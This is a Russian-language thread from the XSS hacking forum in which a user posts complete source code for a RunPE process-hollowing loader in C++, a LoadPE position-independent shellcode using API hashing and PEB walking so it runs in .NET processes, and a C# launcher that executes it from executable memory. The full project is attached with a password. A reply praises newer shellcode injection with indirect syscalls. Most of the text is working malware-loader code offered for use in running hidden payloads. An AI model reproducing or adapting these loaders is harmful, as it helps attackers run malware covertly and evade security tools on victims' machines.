• XSS.stack #1 – первый литературный журнал от юзеров форума

Сорцы LoadPE и RunPE

Пожалуйста, обратите внимание, что пользователь заблокирован
Ничосе ты захотел))

На гитхабе можешь поискать но там немного устаревшое
 
Раз уж речь зашла о ранпе, то сочту нужным выложить свой старый код правильного ранпе.У большей части ранпе что я видел, ноги растут вот отсюда. Данный код некорректно получает адрес PEB-а процесса-донора, что с разной вероятностью приводит к крашам. Вот моя стабильная версия x86 ранпе:
C++:
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include "rawData.h"


typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
    HANDLE           ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID            ProcessInformation,
    ULONG            ProcessInformationLength,
    PULONG           ReturnLength
);

DWORD GetRemotePebAddr(HANDLE processHandle)
{
    _NtQueryInformationProcess fpNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");

    PROCESS_BASIC_INFORMATION processInformation;
    memset(&processInformation, 0x00, sizeof(PROCESS_BASIC_INFORMATION));

    DWORD returnLength = 0;
    if (NT_SUCCESS(fpNtQueryInformationProcess(processHandle, ProcessBasicInformation, &processInformation, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
    {
        return reinterpret_cast<DWORD>(processInformation.PebBaseAddress);
    }

    return 0;

}



VOID WINAPI RunPE(LPBYTE buffer)
{
    //Получаем DOS заголовок
    PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(buffer);

    //Проверяем сигнатуру
    if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
    {
        //Получаем NT заголовки
        PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(buffer) + dosHeader->e_lfanew);

        //Проверяем сигнатуру
        if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
        {
            //Получаем путь к текущему EXE
            WCHAR currentPath[MAX_PATH + 1];
            GetModuleFileNameW(NULL, currentPath, MAX_PATH);

            //Запускаем процесс
            PROCESS_INFORMATION processInfo;
            memset(&processInfo, 0x00, sizeof(processInfo));

            STARTUPINFOW startupInfo;
            memset(&startupInfo, 0x00, sizeof(startupInfo));

            if (CreateProcessW(currentPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo))
            {
                //Получаем контекст потока
                LPCONTEXT context = reinterpret_cast<LPCONTEXT>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CONTEXT)));
                context->ContextFlags = CONTEXT_FULL;

                if (GetThreadContext(processInfo.hThread, context))
                {
                    //Получаем PEB донорского процесса
                    DWORD remotePebAddr = GetRemotePebAddr(processInfo.hProcess);

                    //Пытаемся выделить память по оригинальному ImageBase, чтоб не приходилось фиксить релоки
                    LPVOID remotePayload = VirtualAllocEx(processInfo.hProcess, reinterpret_cast<LPVOID>(ntHeaders->OptionalHeader.ImageBase), ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

                    //Если не удалось, то берем любой адрес
                    if(!remotePayload)
                        LPVOID remotePayload = VirtualAllocEx(processInfo.hProcess, NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

                    //Записываем заголовки
                    WriteProcessMemory(processInfo.hProcess, remotePayload, buffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

                    //Записываем секции
                    PIMAGE_SECTION_HEADER sectionHeader = reinterpret_cast<PIMAGE_SECTION_HEADER>(buffer + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);

                    //Указатель на релоки
                    PIMAGE_BASE_RELOCATION reloc = NULL;
                    DWORD relocsVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

                    for (INT i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
                    {
                        WriteProcessMemory(processInfo.hProcess, reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(remotePayload) + sectionHeader[i].VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(buffer) + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL);

                        if (relocsVA >= sectionHeader[i].VirtualAddress && relocsVA <= sectionHeader[i].VirtualAddress + sectionHeader[i].SizeOfRawData) //FIXME: Выровнять SizeOfRawData по SectionAligment
                            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(buffer + sectionHeader[i].PointerToRawData + (relocsVA - sectionHeader[i].VirtualAddress));
                    }
                    

                    //Если изображение было загружено не по своему ImageBase, то делаем релокацию
                    if (reloc && reinterpret_cast<DWORD>(remotePayload) != ntHeaders->OptionalHeader.ImageBase)
                    {
                        while (reloc->SizeOfBlock)
                        {
                            LPWORD fixups = reinterpret_cast<LPWORD>(reinterpret_cast<DWORD>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
                            DWORD fixupsCount = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
                            DWORD delta = reinterpret_cast<DWORD>(remotePayload) - ntHeaders->OptionalHeader.ImageBase;

                            for (DWORD i = 0; i < fixupsCount; i++)
                            {
                                //В x86 существует только тип релоков
                                if ((fixups[i] & 0xF000) == IMAGE_REL_BASED_HIGHLOW) { //или fixups[i] >> 12, сташие 8 бит это тип релока, а остальные 12 - адрес, куда пишется фикс

                                    LPVOID fixupAddr = reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(remotePayload) + reloc->VirtualAddress + (fixups[i] & 0x0FFF));

                                    DWORD value;
                                    if (ReadProcessMemory(processInfo.hProcess, fixupAddr, &value, sizeof(value), NULL))
                                    {
                                        value += delta;
                                        WriteProcessMemory(processInfo.hProcess, fixupAddr, &value, sizeof(value), NULL);
                                    }
                                }
                            }

                            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<DWORD>(reloc) + reloc->SizeOfBlock);
                        }
                    }


                    //Меняем ImageBase в PEB-е донорского процесса
                    WriteProcessMemory(processInfo.hProcess, reinterpret_cast<LPVOID>(remotePebAddr + 8), &remotePayload, sizeof(remotePayload), NULL);

                    context->Eax = reinterpret_cast<DWORD>(remotePayload) + ntHeaders->OptionalHeader.AddressOfEntryPoint;
                    SetThreadContext(processInfo.hThread, context);
                    ResumeThread(processInfo.hThread);

                }

                CloseHandle(processInfo.hThread);
                CloseHandle(processInfo.hProcess);
            }
        }
    }
}

int main()
{
    RunPE(rawData);
}
 
Вижу, что мой исходник ранпе получил положительный отклик от общественности. Я считаю, что ранпе (различные модификации с изменением метода инжекта в расчет не берем) это устаревшая технология, так что дополнительно выложу свой лоадпе шеллкод(полный проект в аттаче, пасс xss.pro). Ничего удивительного в нем нет, но шеллкод сделан так, что может запуститься из под .NET процесса(вспомнинаем, что в .NET процессе после ntdll грузится mscoree.dll).
C++:
#include "loadPE.h"
#include "ntdll.h"
#include <intrin.h>
#pragma optimize("", off)
#define API(DLL, FUNC) reinterpret_cast<decltype(&##FUNC)>(GetProcAddressEx(DLL, CT_HashString(#FUNC, sizeof(#FUNC) - 1)))


/// <summary>
/// Хеширование ASCII-строки, выполняется на этапе компиляции
/// </summary>
/// <param name="str">Строка, которая будет хеширована</param>
/// <param name="length">Длина строки</param>
/// <returns>Хеш строки</returns>
consteval UINT CT_HashString(LPCSTR str, size_t length)
{
    ULONG hash = 5381;

    for (size_t i = 0; i < length; i++)
        hash = ((hash << 5) + hash) + str[i];

    return hash;
}


/// <summary>
/// Имплементация msvcrt.dll!memset
/// </summary>
/// <param name="memory">Указатель на блок памяти, с которым работаем</param>
/// <param name="byte">Байт, который копируем за место других</param>
/// <param name="size">Кол-во байт, за место которых ставим bByte</param>
/// <returns>Указатель на блок памяти, с которым работаем</returns>
LPVOID WINAPI MemSet(LPVOID memory, BYTE byte, size_t size);


/// <summary>
/// Имплементация msvcrt.dll!memcpy
/// </summary>
/// <param name="lpDest">Адрес блока памяти, в который копируем</param>
/// <param name="lpSrc">Адрес блока памяти, который копируем</param>
/// <param name="dwSize">Размер блока памяти, который копируем</param>
/// <returns>Адрес, куда копируем блок памяти</returns>
LPVOID WINAPI MemCpy(LPVOID dest, LPVOID src, size_t size);


/// <summary>
/// Подсчет длины ansi строки
/// </summary>
/// <param name="string">Wide строка</param>
/// <returns>Длина строки</returns>
size_t WINAPI StringLengthA(LPCSTR string);


/// <summary>
/// Подсчет длины wide строки
/// </summary>
/// <param name="string">Wide строка</param>
/// <returns>Длина строки</returns>
size_t WINAPI StringLengthW(LPCWSTR string);


/// <summary>
/// Копирование wide строк
/// </summary>
/// <param name="dest">Буффер, куда будет скопирована исходная строка</param>
/// <param name="src">Исходная строка</param>
/// <returns>Указатель на буффер, куда была копирована исходная строка</returns>
LPWSTR WINAPI StringCopyW(LPWSTR dest, LPCWSTR src);


/// <summary>
/// Сравнение wide строк
/// </summary>
/// <param name="str1">Первая строка</param>
/// <param name="str2">Вторая строка</param>
/// <returns>
///        <para>TRUE - строки совпадают</para>
///        <para>FALSE - строки не совпадают</para>
/// </returns>
BOOL WINAPI StringCompareW(LPCWSTR str1, LPCWSTR str2);


/// <summary>
/// Перевод всех символов строки в нижний регистр.
/// </summary>
/// <param name="str">Строка, которую приводим к нижнему регистру</param>
VOID WINAPI StringToLowerW(LPWSTR str);


/// <summary>
/// Хеширование ASCII-строки
/// </summary>
/// <param name="str">Строка</param>
/// <returns>Хеш строки</returns>
UINT WINAPI HashString(LPCSTR str);


/// <summary>
/// Поиск хендла загруженного модуля по имени.Аналог GetModuleHandleW
/// </summary>
/// <param name="dllName">Имя модуля</param>
/// <returns>Хендл модуля, если модуль не загружен, то NULL</returns>
HMODULE WINAPI FindDllHandle(LPCWSTR dllName);


/// <summary>
/// Получение адреса функции по хешу
/// </summary>
/// <param name="module">Модуль, в котором содержится функция</param>
/// <param name="hash">SuperFastHash имени функции</param>
/// <returns>Адрес функции</returns>
LPVOID WINAPI GetProcAddressEx(HMODULE module, UINT hash);


VOID WINAPI LoadPE(LPBYTE image)
{
    //
    //    Грузим нужные функции
    //
    WCHAR ntdllStr[10] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
    HMODULE hNtdll = FindDllHandle(ntdllStr);

    WCHAR kernel32Str[13] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
    HMODULE hKernel32 = FindDllHandle(kernel32Str);


    HANDLE currentProcess = API(hKernel32, GetCurrentProcess)();

    //
    //    Проверяем заголовки
    //
    PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(image);

    if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
    {
        PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(image + dosHeader->e_lfanew);
        DWORD relocsRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

        if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
        {
            LPVOID imageBase = reinterpret_cast<LPVOID>(ntHeaders->OptionalHeader.ImageBase);
            SIZE_T imageSize = ntHeaders->OptionalHeader.SizeOfImage;

            if (!NT_SUCCESS(API(hNtdll, NtAllocateVirtualMemory)(currentProcess, &imageBase, 0, &imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
            {
                if (relocsRVA) //Если есть релоки, то выделяем память по любому адресу
                {
                    imageBase = nullptr;
                    
                    if (!NT_SUCCESS(API(hNtdll, NtAllocateVirtualMemory)(currentProcess, &imageBase, 0, &imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
                        return;
                }
                else //Если релоков нет, то делаем анмаппинг
                {
                    imageBase = reinterpret_cast<LPVOID>(ntHeaders->OptionalHeader.ImageBase);

                    if (NT_SUCCESS(API(hNtdll, NtUnmapViewOfSection)(currentProcess, imageBase))) //Шеллкод должен содержаться не в теле бинарника!
                    {
                        //Снова пытаемся выделить память
                        if (!NT_SUCCESS(API(hNtdll, NtAllocateVirtualMemory)(currentProcess, &imageBase, 0, &imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
                            return;
                    }
                }
            }

            if (imageBase)
            {
                //Для удобства
                DWORD imageBaseAddr = reinterpret_cast<DWORD>(imageBase);

                //
                //    Копируем заголовки
                //
                DWORD oldProtect = NULL;
                SIZE_T headersSize = ntHeaders->OptionalHeader.SizeOfHeaders;

                MemCpy(imageBase, image, headersSize);
                API(hNtdll, NtProtectVirtualMemory)(currentProcess, &imageBase, &headersSize, PAGE_READONLY, &oldProtect);

                //
                //    Копируем секции и выставляем на них права
                //
                PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);//reinterpret_cast<PIMAGE_SECTION_HEADER>(image + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);

                for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
                    MemCpy(reinterpret_cast<LPVOID>(imageBaseAddr + sectionHeader[i].VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(image) + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData);
                

                //
                //    Обрабатываем импорт
                //
                if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
                {
                    PIMAGE_IMPORT_DESCRIPTOR importDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(imageBaseAddr + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

                    while (importDescriptor->Name)
                    {
                        LPSTR dllName = reinterpret_cast<LPSTR>(imageBaseAddr + importDescriptor->Name);
                        HMODULE dll = API(hKernel32, LoadLibraryA)(dllName);

                        if (dll)
                        {
                            PIMAGE_THUNK_DATA originalThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(imageBaseAddr + importDescriptor->OriginalFirstThunk);
                            PIMAGE_THUNK_DATA firstThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(imageBaseAddr + importDescriptor->FirstThunk);

                            while (originalThunk->u1.AddressOfData)
                            {
                                if (IMAGE_SNAP_BY_ORDINAL(originalThunk->u1.Ordinal))
                                    firstThunk->u1.Function = reinterpret_cast<DWORD>(API(hKernel32, GetProcAddress)(dll, reinterpret_cast<LPSTR>(IMAGE_ORDINAL(originalThunk->u1.Ordinal))));
                                else
                                    firstThunk->u1.Function = reinterpret_cast<DWORD>(API(hKernel32, GetProcAddress)(dll, reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(imageBaseAddr + originalThunk->u1.AddressOfData)->Name));
                                
                                originalThunk++;
                                firstThunk++;
                            }
                        }

                        importDescriptor++;
                    }
                }

                //
                //    Обрабатываем релоки
                //
                if (relocsRVA)
                {
                    PIMAGE_BASE_RELOCATION reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(imageBaseAddr + relocsRVA);
                    DWORD delta = imageBaseAddr - ntHeaders->OptionalHeader.ImageBase;

                    if (delta)
                    {
                        while (reloc->SizeOfBlock)
                        {
                            LPWORD fixups = reinterpret_cast<LPWORD>(reinterpret_cast<DWORD>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
                            DWORD fixupsCount = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

                            for (DWORD i = 0; i < fixupsCount; i++)
                            {
                                LPVOID fixupAddr = reinterpret_cast<LPVOID>(imageBaseAddr + reloc->VirtualAddress + (fixups[i] & 0x0FFF));

                                if ((fixups[i] >> 12) == IMAGE_REL_BASED_HIGHLOW)
                                    *reinterpret_cast<LPDWORD>(fixupAddr) += delta;
                            }

                            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<DWORD>(reloc) + reloc->SizeOfBlock);
                        }
                    }
                }

                //
                // Выставляем права доступа на секции
                //
                DWORD protectionFlags[2][2][2] = {
                    {
                        { PAGE_NOACCESS, PAGE_WRITECOPY },
                        { PAGE_READONLY, PAGE_READWRITE },
                    },
                    {
                        { PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY },
                        { PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE },
                    },
                };

                for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
                {
                    LPVOID sectionVirtualAddress = reinterpret_cast<LPVOID>(imageBaseAddr + sectionHeader[i].VirtualAddress);
                    SIZE_T sectionVirtualSize = sectionHeader[i].Misc.VirtualSize;

                    DWORD sectionCharacteristics = sectionHeader[i].Characteristics;
                    DWORD sectionProtect = protectionFlags[!!(sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE)][!!(sectionCharacteristics & IMAGE_SCN_MEM_READ)][!!(sectionCharacteristics & IMAGE_SCN_MEM_WRITE)];

                    if (sectionCharacteristics & IMAGE_SCN_MEM_NOT_CACHED)
                        sectionProtect |= PAGE_NOCACHE;

                    API(hNtdll, NtProtectVirtualMemory)(currentProcess, &sectionVirtualAddress, &sectionVirtualSize, sectionProtect, &oldProtect);
                }

                //
                //    Обрабатываем TLS
                //
                if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress)
                {
                    PIMAGE_TLS_DIRECTORY tls = reinterpret_cast<PIMAGE_TLS_DIRECTORY>(imageBaseAddr + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
                    PIMAGE_TLS_CALLBACK* callbacks = reinterpret_cast<PIMAGE_TLS_CALLBACK*>(tls->AddressOfCallBacks);

                    while (callbacks && *callbacks)
                    {
                        (*callbacks)(imageBase, DLL_PROCESS_ATTACH, NULL);
                        callbacks++;
                    }
                }

                //
                //    Фиксим PEB
                //
                PPEB peb = (PPEB)__readfsdword(0x30);
                peb->ImageBaseAddress = imageBase;

                //
                //    Прыгаем на точку входа
                //
                LPVOID entryPoint = reinterpret_cast<LPVOID>(imageBaseAddr + ntHeaders->OptionalHeader.AddressOfEntryPoint);

                if (ntHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL)
                {
                    typedef BOOL (WINAPI* _DllMain)(HINSTANCE inst, DWORD reason, LPVOID reserved);
                    (reinterpret_cast<_DllMain>(entryPoint))(reinterpret_cast<HINSTANCE>(imageBase), DLL_PROCESS_ATTACH, nullptr);
                }
                else
                    __asm jmp entryPoint
            }

        }
    }
}


LPVOID WINAPI MemSet(LPVOID memory, BYTE byte, size_t size)
{
    __stosb(static_cast<LPBYTE>(memory), byte, size);
        
    return memory;
}


LPVOID WINAPI MemCpy(LPVOID dest, LPVOID src, size_t size)
{
    __movsb(
        static_cast<LPBYTE>(dest),
        static_cast<LPBYTE>(src),
        size
    );

    return dest;
}


size_t WINAPI StringLengthA(LPCSTR string)
{
    LPSTR begin = const_cast<LPSTR>(string);

    while (*++string);

    return static_cast<DWORD>(string - begin);
}


size_t WINAPI StringLengthW(LPCWSTR string)
{
    LPWSTR begin = const_cast<LPWSTR>(string);

    while (*++string);

    return static_cast<DWORD>(string - begin);
}


LPWSTR WINAPI StringCopyW(LPWSTR dest, LPCWSTR src)
{
    LPWSTR ptr = dest;

    while ((*ptr++ = *src++));

    return dest;
}


BOOL WINAPI StringCompareW(LPCWSTR str1, LPCWSTR str2)
{
    size_t i = 0;

    while (TRUE)
    {
        if (str1[i] != str2[i])
            return FALSE;

        if (!str1[i])
            break;

        i++;
    }

    return TRUE;
}


VOID WINAPI StringToLowerW(LPWSTR str)
{
    for (size_t i = 0; i < StringLengthW(str); i++)
    {
        if (str[i] >= 'A' && str[i] <= 'Z')
            str[i] = str[i] - 'A' + 'a';
    }
}


UINT WINAPI HashString(LPCSTR str)
{
    size_t length = StringLengthA(str);
    ULONG hash = 5381;

    for (size_t i = 0; i < length; i++)
        hash = ((hash << 5) + hash) + str[i];

    return hash;
}


HMODULE WINAPI FindDllHandle(LPCWSTR dllName)
{
    PPEB peb = (PPEB)__readfsdword(0x30);

    PPEB_LDR_DATA ldrData = peb->Ldr;
    PLIST_ENTRY head = &ldrData->InLoadOrderModuleList;
    PLIST_ENTRY entry = head->Flink;

    WCHAR lowercaseDllName[MAX_PATH + 1];

    while (head != entry)
    {
        MemSet(lowercaseDllName, 0x00, (MAX_PATH * 2) + 2);

        PLDR_DATA_TABLE_ENTRY dataTableEntry = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        StringCopyW(lowercaseDllName, dataTableEntry->BaseDllName.Buffer);
        StringToLowerW(lowercaseDllName);

        if (StringCompareW(static_cast<LPCWSTR>(lowercaseDllName), dllName))
            return static_cast<HMODULE>(dataTableEntry->DllBase);

        entry = entry->Flink;
    }

    return nullptr;
}


LPVOID WINAPI GetProcAddressEx(HMODULE module, UINT hash)
{
    if (module)
    {
        PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(reinterpret_cast<DWORD>(module));

        if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
        {
            PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(module) + dosHeader->e_lfanew);

            if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
            {
                PIMAGE_EXPORT_DIRECTORY exportDirectory = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<DWORD>(module) + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

                LPDWORD functions = reinterpret_cast<LPDWORD>(reinterpret_cast<DWORD>(module) + exportDirectory->AddressOfFunctions);
                LPDWORD functionsNames = reinterpret_cast<LPDWORD>(reinterpret_cast<DWORD>(module) + exportDirectory->AddressOfNames);
                LPWORD namesOrdinals = reinterpret_cast<LPWORD>(reinterpret_cast<DWORD>(module) + exportDirectory->AddressOfNameOrdinals);

                for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++)
                {
                    LPCSTR functionName = reinterpret_cast<LPCSTR>(reinterpret_cast<DWORD>(module) + functionsNames[i]);

                    if (HashString(functionName) == hash)
                        return reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(module) + functions[namesOrdinals[i]]);
                }
            }
        }
    }

    return nullptr;
}


VOID WINAPI EndLoadPE()
{
    return;
}

#pragma optimize("", on)

Также прикладываю метод запуска этого шеллкода на C#, через делегаты:
C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace ShellcodeTest
{
    internal class EntryPoint
    {
        [UnmanagedFunctionPointer(CallingConvention.Winapi)]
        private delegate void LoadPE(byte[] data);

        [DllImport("kernel32.dll")]
        private static extern IntPtr VirtualAlloc(IntPtr addr, UInt32 size, UInt32 allocationType, UInt32 protect);

        private static byte[] loadPeShellcode = { /*Вставьте сюда сгенерированный шеллкод*/ };

        static void Main(string[] args)
        {
            IntPtr addr = VirtualAlloc(
                IntPtr.Zero,
                (UInt32)loadPeShellcode.Length,
                0x1000, //MEM_COMMIT
                0x40 //PAGE_EXECUTE_READWRITE
            );
            Marshal.Copy(loadPeShellcode, 0, addr, loadPeShellcode.Length);
            LoadPE loadPe = (LoadPE)Marshal.GetDelegateForFunctionPointer(addr, typeof(LoadPE));
            loadPe(TestBinary.data); //TestBinary.data = буффер, содержащий исполняемый файл.
        }
    }
}
 

Вложения

  • LoadPEv3.zip
    9.5 КБ · Просмотры: 62
Я считаю, что ранпе (различные модификации с изменением метода инжекта в расчет не берем) это устаревшая технология
Согласен. Вот кстати новые интересные методы инжекта шеллкода. Совместив с "проксированием" индирект сисколлами получили ОЧЕНЬ хороший результат на выходе.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх